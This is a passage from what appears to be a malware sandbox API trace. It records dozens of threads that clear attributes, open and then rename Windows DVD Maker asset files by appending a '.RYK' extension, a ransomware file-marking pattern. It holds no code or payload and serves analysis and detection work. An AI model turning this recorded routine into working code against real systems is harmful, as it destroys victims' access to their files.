	[0179.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 854
	os_tid = 0x7ec

	[0179.435] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0179.575] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.575] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 855
	os_tid = 0xc60

	[0179.436] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png", dwFileAttributes=0x80) returned 0
	[0179.437] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.437] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 856
	os_tid = 0xc84

	[0179.439] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png", dwFileAttributes=0x80) returned 0
	[0179.440] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0179.440] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0179.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 857
	os_tid = 0xb8c

	[0180.024] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv", dwFileAttributes=0x80) returned 0
	[0180.024] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 858
	os_tid = 0xc44

	[0180.028] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0180.221] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 859
	os_tid = 0xd70

	[0180.029] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", dwFileAttributes=0x80) returned 0
	[0180.222] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.223] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 860
	os_tid = 0xc50

	[0180.031] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0180.224] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.225] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 861
	os_tid = 0x10e0

	[0180.032] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", dwFileAttributes=0x80) returned 0
	[0180.226] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 862
	os_tid = 0x10f4

	[0180.228] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0180.229] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 863
	os_tid = 0x1158

	[0180.230] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", dwFileAttributes=0x80) returned 0
	[0180.231] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.231] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 864
	os_tid = 0x10f0

	[0180.233] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0180.233] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.233] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 865
	os_tid = 0x640

	[0180.237] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png", dwFileAttributes=0x80) returned 0
	[0180.402] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.550] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 866
	os_tid = 0xe80

	[0180.238] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", dwFileAttributes=0x80) returned 0
	[0180.238] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.238] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 867
	os_tid = 0xe7c

	[0180.240] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0180.241] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.242] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 868
	os_tid = 0xf64

	[0180.244] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png", dwFileAttributes=0x80) returned 0
	[0180.245] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.245] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 869
	os_tid = 0xea0

	[0180.246] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0180.247] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.247] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 870
	os_tid = 0x1184

	[0180.248] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png", dwFileAttributes=0x80) returned 0
	[0180.403] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.548] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 871
	os_tid = 0x770

	[0180.250] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png", dwFileAttributes=0x80) returned 0
	[0180.403] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.404] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 872
	os_tid = 0x124

	[0180.251] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png", dwFileAttributes=0x80) returned 0
	[0180.252] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.253] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 873
	os_tid = 0xdc8

	[0180.406] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png", dwFileAttributes=0x80) returned 0
	[0180.406] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.406] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 874
	os_tid = 0x11f4

	[0180.408] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png", dwFileAttributes=0x80) returned 0
	[0180.552] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.701] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 875
	os_tid = 0xedc

	[0180.409] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png", dwFileAttributes=0x80) returned 0
	[0180.552] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 876
	os_tid = 0x12ac

	[0180.410] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png", dwFileAttributes=0x80) returned 0
	[0180.553] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.690] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 877
	os_tid = 0xed8

	[0180.412] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv", dwFileAttributes=0x80) returned 0
